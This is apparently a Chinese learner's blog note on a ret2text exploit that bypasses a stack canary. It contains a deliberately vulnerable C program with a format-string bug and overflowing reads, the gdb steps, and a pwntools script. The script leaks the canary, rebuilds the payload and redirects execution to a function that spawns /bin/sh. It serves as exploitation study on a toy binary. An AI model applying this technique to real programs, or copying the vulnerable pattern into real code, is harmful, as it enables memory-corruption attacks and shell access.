过canary保护的ret2text
记录学到的一个小demo
目标程序代码:
#include<stdio.h> void target() { system("/bin/sh"); } void func() { char str[0x10]; read(0, str, 0x20); printf(str); read(0, str, 0x30); } int main() { func(); return 0; }
gcc -m32 -no-pie -fstack-protector -o printf printf3.c 编译生成

使用gdb调试

运行到func函数<+27>处,查看[ebp-0xc],为canary值。

运行到第二个read函数处查看堆栈,此前我输入字符串“AAA”。


目的是通过read函数输入从而覆盖func函数的返回地址。
from pwn import *
p=process("./printf")
p.sendline("%11$08x") //泄漏canary的信息,距离栈顶15行
canary = p.recv()[:8] //只需要接收前8位的输出信息,即canary
print canary
canary=canary.decode("hex")[::-1] //计算机是小端存储,所以要转换成逆序
canary_offset = 4*4 //我们输入的字符串保存的位置距离canary
ret_offset=3*4 //返回地在间隔canary3行
exploit_address=p32(0x08049192) //func函数返回地址
payload=canary_offset*'a'+canary+ret_offset*'a'+exploit_address
p.sendline(payload)
p.interactive()
运行exp得到shell


浙公网安备 33010602011771号